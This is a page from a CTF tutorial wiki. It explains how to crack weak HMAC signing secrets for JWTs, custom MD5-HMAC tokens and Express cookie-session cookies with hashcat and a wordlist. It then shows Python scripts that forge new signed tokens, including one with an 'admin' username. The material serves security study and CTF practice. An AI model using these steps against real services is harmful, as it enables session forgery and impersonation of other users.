🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • CRLF / Header Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • JSON Web Token (JWT)
  • Custom HMAC
  • Manually Forging
  • Flask Session
  • cookie-session from Express (session.sig=)
  1. Cryptography
  2. Hashing

Cracking Signatures

Some examples of signature implementations (often HMAC) that can be cracked using hashcat

PreviousCracking HashesNextPseudo-Random Number Generators (PRNG)

Last updated 3 months ago

See for general information on how to use hashcat, this page explains some practical usages in relation to signatures which are often used in cookies to authenticate users

JSON Web Token (JWT)

JSON Web Tokens are strings of Base64-encoded data signed using some secret key. This means the client can store and read the data inside of this token, but they cannot change it without knowing the correct signing key. Only the server should be able to generate these tokens for you in a secure scenario.

The fact that we know the plaintext data, and everything is stored on the client, means that it is inherently vulnerable to brute-force attacks. We can guess many different signing keys to find when it aligns with the expected signature, which is exactly what we will use hashcat for.

There are multiple different algorithms for signing the data, which is always given by the "alg" value in the header of the token. Two of the most common are:

  • HS256: HMAC (with SHA256) using a password as a secret

  • RS256: RSA (with SHA256) using a cryptographic private key

RSA is not easily brute-forced without a weak key, or some other special vulnerability in the generated key. Because of this, only the HMAC version is viable for brute-forcing with a password dictionary in hashcat. Luckily, this is a well-known algorithm used in many other places and is implemented in a pretty simple way for JWTs.

Let's take the following simple example:

JSON Web Token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.XbPfbIHMI6arZ3Y922BhjWgQzWXcXNrz0ogtVhfEd2o

Hashcat has a special JWT mode (-m 16500) that automatically extracts the payload and signature to create a simple HMAC input/output which can run at very high speeds (~500 MH/s on my laptop). It even auto-detects this mode for us, meaning we only need to provide the hash and how passwords should be generated:

$ hashcat eyJhbGciOiJIUzI1NiIsInR5cC...zWXcXNrz0ogtVhfEd2o /list/rockyou.txt

hashcat starting in autodetect mode
16500 | JWT (JSON Web Token) | Network Protocol
...
eyJhbGciOiJIUzI1NiIsInR5cC...zWXcXNrz0ogtVhfEd2o:secret

Custom HMAC

A developer might use a less-known HMAC function to sign their JWTs, which hashcat may not be able to parse for you directly. In these cases, it is a matter of extracting the useful information manually, and then using lower-level hashcat modes to crack the secret.

Imagine an MD5 HMAC for example:

JSON Web Token
eyJhbGciOiAiTUQ1X0hNQUMifQ.eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ.yKcA62pVJ8Pij7SajzE8nw

{
  "alg": "MD5_HMAC"
}
...

An HMAC signature works using some data as the payload, and a key which is the password. In JWT this is implemented in the following way:

[hash]_HMAC(
  urlsafe_base64encode(header) + "." +
  urlsafe_base64encode(payload),
  secret
)

The header and payload are both urlsafe-Base64 encoded, and joined together by a . period. This is the raw data provided to the HMAC function, together with the secret which is often just put in raw, but could in some cases also be Base64 encoded.

Inside the JWT, the header and payload are already put in the right format, being the part before the second period (eyJhbGciOiAiTUQ1X0hNQUMifQ.eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ). Then the last part is the signature, meaning the result of the HMAC function. It is Base64 encoded while hashcat expects it as hex like a regular hash. This means we just have to convert this last part to hex to get a string it understands:

$ echo yKcA62pVJ8Pij7SajzE8nw | base64 -d | xxd -p
c8a700eb6a5527c3e28fb49a8f313c9f

Finally, we have all the parts we need, and can write out the hash in the way hashcat expects:

<signature>:<data>
c8a700eb6a5527c3e28fb49a8f313c9f:eyJhbGciOiAiTUQ1X0hNQUMifQ.eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ

Then we simply use the raw HMAC-MD5 (-m 50) mode in hashcat to crack the secret like before:

$ hashcat -m 50 hash2.txt /list/rockyou.txt
...
c8a700eb6a5527c3e28fb49a8f313c9f:eyJhbGciOiA...IxYW4ifQ:secret

Manually Forging

When we have a secret key, we can try to forge new data with it by implementing the algorithm in a simple script. There are many easy libraries that do most of the work already, so it is simply a matter of understanding the required steps. For JWTs:

  1. First the header and payload JSON data is encoded into a string, and are separately Base64 encoded, which are then joined together by . period

  2. An HMAC signature is made by putting the data from step 1 in the data argument, and the secret in the key argument, selecting the correct hash function (MD5, SHA256, etc.)

  3. This resulting signature is Base64 encoded and appended together with a . in front to the header and payload value from step 1, which becomes the resulting JWT

Putting this into code, it looks something like this:

Python
import hmac
from base64 import urlsafe_b64encode
import json

KEY = b"secret"
HASH = "md5"

header = {
  "alg": "MD5_HMAC"
}
payload = {
  "username": "admin"
}

headers_enc = urlsafe_b64encode(json.dumps(header).encode()).decode().strip("=")
payload_enc = urlsafe_b64encode(json.dumps(payload).encode()).decode().strip("=")

data = f"{headers_enc}.{payload_enc}"
signature = urlsafe_b64encode(hmac.new(KEY, data.encode(), digestmod=HASH).digest()).decode().strip("=")

print(f"{data}.{signature}")
# eyJhbGciOiAiTUQ1X0hNQUMifQ.eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ.yKcA62pVJ8Pij7SajzE8nw

Flask Session

cookie-session from Express (session.sig=)

(recognizable by the s: prefix)

The information is split into the data as session= and the signature as session.sig=. For example:

Cookie: session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ; session.sig=eORsWVeMDsGGRNp-QK-sbzHp8as
>>> from base64 import urlsafe_b64decode
>>> urlsafe_b64decode(b'eORsWVeMDsGGRNp-QK-sbzHp8as' + b"==").hex()
'78e46c59578c0ec18644da7e40afac6f31e9f1ab'

Knowing this we can easily create a hashcat hash in this format (note that session= may be different depending on your cookie name):

hash.txt
78e46c59578c0ec18644da7e40afac6f31e9f1ab:session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ

Finally, we can use the HMAC-SHA1 mode (-m 150) to crack it:

$ hashcat -m 150 hash.txt /list/rockyou.txt
...
78e46c59578c0ec18644da7e40afac6f31e9f1ab:session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ:secret

Now that the secret key is found, we can forge any cookie payload with a valid signature:

import hmac
from base64 import urlsafe_b64encode
from hashlib import sha1
import json

def sign(data, key):
    signature = hmac.new(key, data, sha1)
    signature_enc = urlsafe_b64encode(signature.digest()).rstrip(b"=")
    return signature_enc

SECRET = b"secret"
payload = {"username": "j0r1an"}

data = b'session=' + urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=")
signature = sign(data, SECRET)

print(data)  # b'session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ'
print(b'session.sig=' + signature)  # b'session.sig=eORsWVeMDsGGRNp-QK-sbzHp8as'

Now that we know the password, we can use the to forge any new data. Simply input your original JWT, and set the secret where it says "your-256-bit-secret", which should now make a "Signature Verified" checkmark appear. At this point, you can change any data in the Payload section to forge other users' data, perform deeper injections, or anything else you can imagine.

In this way, you can generate any type of signature for your JWT after cracking it, regardless of if the has it.

See the section for Flask Session Cookies. An all-in-one tool can crack it for you, or use hashcat to do so much faster

See for an example using express-session instead, which looks like: s:lkdh18zhtZX-vve8gThP8_NEoTkr-OsT.T4zrDEc9N2RbIViBsst5ZlWo1DfWL

The library from the NodeJS Express framework is a common way of managing sessions. Similarly to JWTs and Flask Sessions, it also stores data on the client together with a signature that prevents it from being changed using HMAC. We simply have to adapt the HMAC function to use a different hash and alter the input format.

From a test we can find that the cookies library uses another library named with the default configuration to generate this signature from data and a key. The implementation is simply another HMAC this time using SHA1, and the data is the cookie data, meaning "session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ" with whatever the payload is. Lastly, the signature is encoded in Base64 again, we need to decode and encode it to hex for hashcat to understand:

🔣
debugger site
online debugger
this writeup
cookie-session
here
Keygrip
JWT.IO
An interactice JWT playground to decode and encode tokens
Brute-Force
Logo
Hashcat